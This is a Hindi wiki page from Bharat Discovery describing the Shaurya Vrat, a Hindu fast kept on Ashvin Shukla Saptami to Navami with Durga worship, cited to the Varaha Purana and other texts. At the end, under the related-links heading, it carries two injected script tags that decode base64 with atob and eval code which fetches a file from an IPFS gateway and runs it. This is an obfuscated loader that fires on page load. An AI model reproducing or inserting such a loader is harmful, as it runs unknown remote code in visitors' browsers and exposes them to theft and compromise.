शौर्य व्रत
भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (वार्ता | योगदान) द्वारा परिवर्तित 18:48, 25 फ़रवरी 2011 का अवतरण (Text replace - "उल्लखित" to "उल्लिखित")
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- आश्विन शुक्ल पक्ष की सप्तमी पर संकल्प, अष्टमी पर उपवास, नवमी पर आटे से बना भोजन एवं दुर्गा पूजा तथा ब्रह्मभोज होता है।
- एक वर्ष तक यही विधि चलती है।
- दुर्गा मां की पूजा होती है।
- अन्त में कुमारियों को भोजन तथा उन्हें वस्त्र आदि का दान तथा 'देवी मुझ पर प्रसन्न हों' से प्रार्थना की जाती है।
- बिना विद्या पढ़े ज्ञान की उत्पत्ति, दुर्बल व्यक्ति शौर्य बाला हो जाता है, लुप्त राज्य प्राप्त हो जाता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ वराह पुराण (64,1-6); कृत्यकल्पतरु (व्रतखण्ड 273); हेमाद्रि (व्रतखण्ड 1, 957-958); कृत्यरत्नाकर (364-365)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>